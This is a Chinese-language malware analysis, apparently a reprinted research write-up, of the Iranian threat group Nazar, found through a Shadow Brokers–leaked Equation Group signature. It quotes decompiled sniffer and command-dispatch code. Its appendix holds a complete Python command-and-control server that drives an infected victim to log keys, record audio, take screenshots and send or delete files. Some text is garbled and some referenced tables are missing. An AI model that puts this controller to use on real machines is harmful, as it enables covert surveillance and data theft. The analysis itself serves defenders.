6:22 AM 11/7/2012 conficker still on target6:18 AM 11/7/2012 checking logs – we are clean8:16 PM 7/2/2012 – BOOM!, got the callback
這些是方程組(nsa)在攻擊目標(biāo)系統(tǒng)留下的記錄,后來(lái)被shadow brokers泄露。?最近,安全研究員透露了一個(gè)先前被錯(cuò)誤識(shí)別且未知的威脅組織nazar,下面將對(duì)nazar組件進(jìn)行深入分析。
事件背景
影子經(jīng)紀(jì)人泄漏的數(shù)據(jù)使眾多漏洞(例如EternalBlue)成為眾人關(guān)注的焦點(diǎn),但其中還包含了許多更有價(jià)值的組件,這些組件顯示了Equation Group在發(fā)動(dòng)攻擊之前采取的一些預(yù)防措施。 ? ?
例如,在泄漏文件中名為“ drv_list.txt”的文件,其中包含驅(qū)動(dòng)程序名稱列表和相應(yīng)的注釋,如果在目標(biāo)系統(tǒng)上找到了驅(qū)動(dòng)程序,則會(huì)將信息發(fā)送給攻擊者。? ? ?
列表中還包含惡意驅(qū)動(dòng)程序的名稱,如果找到這些惡意驅(qū)動(dòng)程序,表明目標(biāo)系統(tǒng)已經(jīng)被其他人破壞,然后警告攻擊者“撤回”。負(fù)責(zé)此類(lèi)檢查的關(guān)鍵組件名為“Territorial Dispute”或者“TeDi”。 ? ?
“ TeDi”包含45個(gè)簽名,可在目標(biāo)系統(tǒng)中搜索與其他威脅組織關(guān)聯(lián)的注冊(cè)表項(xiàng)和文件名。與安全掃描不同,攻擊者最終目的是確保自身操作不會(huì)受到干擾,其他攻擊者不會(huì)檢測(cè)到他們的工具。 ? ?
在某些情況下,防止自身操作不會(huì)干擾“友好”威脅組的運(yùn)行,也不會(huì)同時(shí)攻擊同一目標(biāo)。
安全研究員指出,“ TeDi”中的第37個(gè)簽名是尋找名為“ Godown.dll”的文件,它指向的就是伊朗威脅組織“Nazar”。 ? ?
執(zhí)行流程
Nazar在2008年左右開(kāi)始活動(dòng),可能與第‘TeDi’第37個(gè)簽名相關(guān),它負(fù)責(zé)檢測(cè)Nazar工具插件“ Godown.dll”。?
Nazar執(zhí)行的初始二進(jìn)制文件是gpUpdates.exe。 它是由“ Zip 2 Secure EXE”創(chuàng)建的自解壓文檔(SFX)。 執(zhí)行后,gpUpdates將三個(gè)文件寫(xiě)入磁盤(pán):Data.bin,info和Distribute.exe, 然后gpUpdates.exe將啟動(dòng)Distribute.exe。 ? ?
Distribute.exe
首先,Distribute.exe將讀取info和Data.bin。 Data.bin是一個(gè)二進(jìn)制Blob,其中包含多個(gè)PE文件。info文件非常小,其中包含一個(gè)簡(jiǎn)單的結(jié)構(gòu),該結(jié)構(gòu)表示Data.bin中PE文件的長(zhǎng)度。 Distribute.exe將按文件長(zhǎng)度的順序逐個(gè)讀取Data.bin。下表顯示了Data.bin文件與info寫(xiě)入長(zhǎng)度的關(guān)系。
之后Distribute.exe使用regsv***將3個(gè)DLL文件寫(xiě)入注冊(cè)表中。 ? ?
使用CreateServiceA將svchost.exe添加為名為“ EYService”的服務(wù),啟動(dòng)該服務(wù)并退出。?該服務(wù)是攻擊的主要部分,協(xié)調(diào)Nazar調(diào)用模塊。
通信分析
服務(wù)執(zhí)行后,首先設(shè)置數(shù)據(jù)包嗅探。 ? ?
DWORD __stdcall main_thread(LPVOID lpThreadParameter) { HANDLE hMgr; // edi HANDLE hCfg; // esi HANDLE hFtr; // edi hMgr = MgrCreate(); MgrInitialize(hMgr); hCfg = MgrGetFirstAdapterCfg(hMgr); do { if ( !AdpCfgGetAccessibleState(hCfg) ) break; hCfg = MgrGetNextAdapterCfg(hMgr, hCfg); } while ( hCfg ); ADP_struct = AdpCreate(); AdpSetConfig(ADP_struct, hCfg); if ( !AdpOpenAdapter(ADP_struct) ) { AdpGetConnectStatus(ADP_struct); MaxPacketSize = AdpCfgGetMaxPacketSize(hCfg); adapter_ip = AdpCfgGetIpA_wrapper(hCfg, 0); AdpCfgGetMACAddress(hCfg, &mac_address, 6); hFtr = BpfCreate(); BpfAddCmd(hFtr, BPF_LD_B_ABS, 23u); // Get Protocol field value BpfAddJmp(hFtr, BPF_JMP_JEQ, IPPROTO_udp, 0, 1);// Protocol == UDP BpfAddCmd(hFtr, BPF_RET, 0xFFFFFFFF); BpfAddCmd(hFtr, BPF_RET, 0); AdpSetUserFilter(ADP_struct, hFtr); AdpSetUserFilterActive(ADP_struct, 1); AdpSetOnPacketRecv(ADP_struct, on_packet_recv_handler, 0); AdpSetMacFilter(ADP_struct, 2); while ( 1 ) { if ( stop_and_ping == 1 ) { adapter_ip = AdpCfgGetIpA_wrapper(hCfg, 0); connection_method(2); stop_and_ping = 0; } Sleep(1000u); } } return 0; }
每當(dāng)UDP數(shù)據(jù)包到達(dá)時(shí),無(wú)論是否存在響應(yīng),都會(huì)記錄其源IP以用于下一個(gè)響應(yīng)。 然后檢查數(shù)據(jù)包的目標(biāo)端口,如果是1234,則將數(shù)據(jù)將轉(zhuǎn)發(fā)到命令處理器。 ? ?
int __cdecl commandMethodsWrapper(udp_t *udp_packet, int zero, char *src_ip, int ip_id) { int length; // edi length = HIBYTE(udp_packet->length) - 8; ntohs(udp_packet->src_port); if ( ntohs(udp_packet->dst_port) != 1234 ) return 0; commandDispatcher(&udp_packet[1], src_ip, ip_id, length); return 1; }
數(shù)據(jù)響應(yīng)
每個(gè)響應(yīng)都會(huì)從頭開(kāi)始構(gòu)建數(shù)據(jù)包,響應(yīng)分為3種類(lèi)型:
1、發(fā)送ACK:目標(biāo)端口4000,有效負(fù)載101; 0000 ? ?
2、發(fā)送計(jì)算機(jī)信息:目標(biāo)端口4000,有效負(fù)載100; ;
3、發(fā)送文件:通過(guò)UDP發(fā)送數(shù)據(jù),然后是帶有
支持命令
下表為命令支持列表:
Dll分析
Godown.dll
Godown.dll是SIG37重點(diǎn)關(guān)注的DLL,它是一個(gè)小型DLL,只有一個(gè)關(guān)閉計(jì)算機(jī)的功能。 ? ?
Filesystem.dll
Filesystem.dll是由攻擊者自己編寫(xiě)的模塊。該模塊的目的是枚舉受感染系統(tǒng)上的驅(qū)動(dòng)器,文件夾和文件,并將結(jié)果寫(xiě)入Drives.txt和Files.txt。
目前發(fā)現(xiàn)兩個(gè)版本均包含PDB路徑,其中提到了波斯語(yǔ)為Khzer(或???)的文件夾: ? ?
C:khzerDLLsDLL’s SourceFilesystemDebugFilesystem.pdb
D:KhzerClientDLL’s SourceFilesystemDebugFilesystem.pdb
兩條路徑之間存在一些差異,表明該模塊的兩個(gè)版本不是在同一環(huán)境中編譯的。 ? ?
? ?
hodll.dll
hodll.dll模塊負(fù)責(zé)鍵盤(pán)記錄,通過(guò)設(shè)置鉤子來(lái)完成。該代碼來(lái)自開(kāi)源代碼庫(kù),某種程度上像從互聯(lián)網(wǎng)上復(fù)制了多個(gè)項(xiàng)目的代碼,最終拼裝在一起。 ? ?
ViewScreen.dll
該DLL基于名為“ BMGLib”的開(kāi)源項(xiàng)目,用于獲取受害者計(jì)算機(jī)的屏幕截圖。? ? ?
附錄
IOCs
Python Server
from scapy.all import * import struct import socket import hexdump import argparse DST_PORT = 1234 # 4000 is the usual port without sending files, but we use it for everything, because why not? SERVER_PORT = 4000 # We want to make sure the ID has the little endian of it ID = struct.unpack('>H',struct.pack('<H',4000))[0] def get_response(sock, should_loop): started = False total_payload = b'' while(should_loop or not started): try: payload, client_address = sock.recvfrom(4096) except ConnectionResetError: payload, client_address = sock.recvfrom(4096) total_payload += payload # Good enough stop condition if (len(payload) >= 4 and payload[:3] == b'---' and payload[4] >= ord('0') and payload[4] <= ord('9')): should_loop = False started = True hexdump.hexdump(total_payload) MENU = """Welcome to NAZAR. Please choose: 999 - Get a ping from the victim. 555 - Get information on the victim's machine. 311 - Start keylogging (312 to disable). 139 - Shutdown victim's machine. 189 - Screenshot (313 to disable). 119 - Record audio from Microphone (315 to disable). 199 - List drives. 200 - List recursivley from directory*. 201 - Send a file*. 209 - Remove file*. 599 - List devices. * (append a path, use double-backslashes) quit to Quit, help for this menu. """ def get_message(): while True: curr_message = input('> ').strip() if 'quit' in curr_message: return None if 'help' in curr_message: print(MENU) else: return curr_message def get_sock(): sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) server_address = '0.0.0.0' server = (server_address, SERVER_PORT) sock.bind(server) return sock def main(ip_addr): sock = get_sock() print(MENU) multi_packets = ["200","201", "119", "189", "311", "199", "599"] single_packets = ["999", "555"] all_commands = single_packets + multi_packets while True: curr_message = get_message() if not curr_message: break # Send message using scapy # Make sure the IP identification field is little endian of the port. sr1( IP(dst=ip_addr, id=ID)/ UDP(sport=SERVER_PORT,dport=1234)/ Raw(load=curr_message), verbose=0 ) command = curr_message[:3] if command not in all_commands: continue should_loop = command in multi_packets get_response(sock, should_loop) if __name__ == '__main__': parser = argparse.ArgumentParser(description="victim's IP") parser.add_argument('ip') args = parser.parse_args() main(args.ip)